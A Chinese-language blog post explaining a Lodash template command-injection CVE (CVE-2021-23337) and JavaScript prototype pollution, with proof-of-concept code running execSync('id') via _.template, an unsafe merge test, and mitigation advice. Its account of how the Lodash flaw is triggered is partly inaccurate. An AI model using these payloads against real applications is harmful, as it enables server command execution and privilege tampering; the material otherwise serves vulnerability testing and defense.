lodash和jquery的exploit
1、lodash(exploit.js)
CVE-2021-23337 是 Lodash 库中存在的一个命令注入(Command Injection)漏洞,主要影响 4.17.21 之前的版本。该漏洞存在于 template 函数中,当攻击者能够控制模板字符串或模板数据时,可以执行任意操作系统命令。
漏洞原理
Lodash 的 _.template 函数用于将字符串编译为模板函数。在受影响版本中,如果模板字符串中包含特殊的插值语法(如 <%= %>),且内部逻辑未对执行上下文进行严格沙箱隔离,攻击者可以通过构造恶意的模板字符串,利用 JavaScript 的原型链或全局对象访问能力,调用 process.mainModule.require('child_process').exec() 等 Node.js 原生模块来执行系统命令。
核心触发点:
- 使用
_.template处理用户可控的输入。 - 环境为 Node.js(因为浏览器环境通常无法直接执行系统命令,但可能导致 XSS 或其他客户端攻击)。
const _ = require('lodash');
// 恶意模板 payload
const maliciousTemplate = "<%= global.process.mainModule.require('child_process').execSync('id').toString() %>";
try {
const compiled = _.template(maliciousTemplate);
const result = compiled();
console.log("漏洞存在! 执行结果:", result);
} catch (e) {
console.log("漏洞可能已修复或执行失败:", e.message);
}
. 修复与缓解
官方修复
升级 Lodash 到 4.17.21 或更高版本。
npm install lodash@latest 临时缓解措施
如果无法立即升级,可以采取以下措施:
- 避免使用用户输入作为模板字符串:确保传递给
_.template的第一个参数是硬编码的、可信的字符串。 - 沙箱化执行:如果必须处理动态模板,应在隔离的沙箱环境中执行,或使用更安全的模板引擎(如 EJS、Handlebars 等,并正确配置安全选项)。
- 输入过滤:对传入模板的数据进行严格过滤,禁止包含特殊字符或代码片段。
注意事项
- 浏览器环境:在浏览器中,由于没有
process对象,此漏洞通常不会导致远程代码执行(RCE),但可能导致跨站脚本攻击(XSS),因为攻击者可以注入任意 JavaScript 代码。 - 权限限制:命令执行的权限取决于运行 Node.js 进程的用户权限。如果进程以 root 运行,后果将非常严重。
通过以上步骤,你可以验证目标系统是否受 CVE-2021-23337 影响。请务必在授权的环境中进行测试,切勿用于非法用途。
2、JavaScript 原型链污染(Prototype Pollution) 漏洞的经典 PoC(概念验证)载荷。
核心原理
该载荷利用了 JSON.parse 和某些 JavaScript 库(如旧版 jQuery、Lodash 等)中不安全的对象合并/深拷贝函数,将 __proto__ 属性注入到全局 Object.prototype 中。
-
输入构造:
json{ "myProperty" : "a", "__proto__" : { "isVulnerable" : true } }在 JSON 字符串中,
__proto__被视为一个普通的键名(Key),而不是指向原型的特殊属性。 -
触发条件:
当应用程序使用存在漏洞的函数(例如 jQuery 的$.extend(true, {}, ...)或 Lodash 的_.merge)解析并合并这个对象时,递归合并逻辑会遍历所有键。由于未对__proto__进行过滤,它会将{ "isVulnerable" : true }赋值给目标对象的原型链顶端(即Object.prototype)。 -
后果:
一旦Object.prototype被污染,所有后续创建的对象(包括空对象{})都会继承isVulnerable属性且值为true。这可能导致权限提升(如伪造isAdmin: true)、拒绝服务或远程代码执行(RCE)。
检测方法示例
你可以使用以下代码在控制台测试当前环境是否受此特定载荷影响(假设使用了易受攻击的库):
// 模拟恶意输入
var maliciousJson = '{ "myProperty" : "a", "__proto__" : { "isVulnerable" : true } }';
// 假设使用 jQuery 进行深拷贝合并 (仅适用于未修复的旧版本)
// var testObject = jQuery.extend(true, {}, JSON.parse(maliciousJson));
// 或者使用自定义的不安全 merge 函数
function unsafeMerge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object' && source[key] !== null) {
if (!target[key]) target[key] = {};
unsafeMerge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
var testObject = unsafeMerge({}, JSON.parse(maliciousJson));
// 检查原型是否被污染
if ({}.isVulnerable === true) {
console.log("Bad news :( You are vulnerable to Prototype Pollution");
} else {
console.log("All Good! :) You are NOT vulnerable");
}
防御建议
- 升级库版本:确保使用的 jQuery(≥3.4.0)、Lodash(≥4.17.21)等库已修复相关 CVE。
- 输入清洗:在
JSON.parse后、合并前,递归移除键名为__proto__、constructor、prototype的属性。 - 使用安全对象:使用
Object.create(null)创建没有原型的干净对象作为容器。 - 冻结原型:在服务启动时执行
Object.freeze(Object.prototype)(需注意兼容性风险)。
浙公网安备 33010602011771号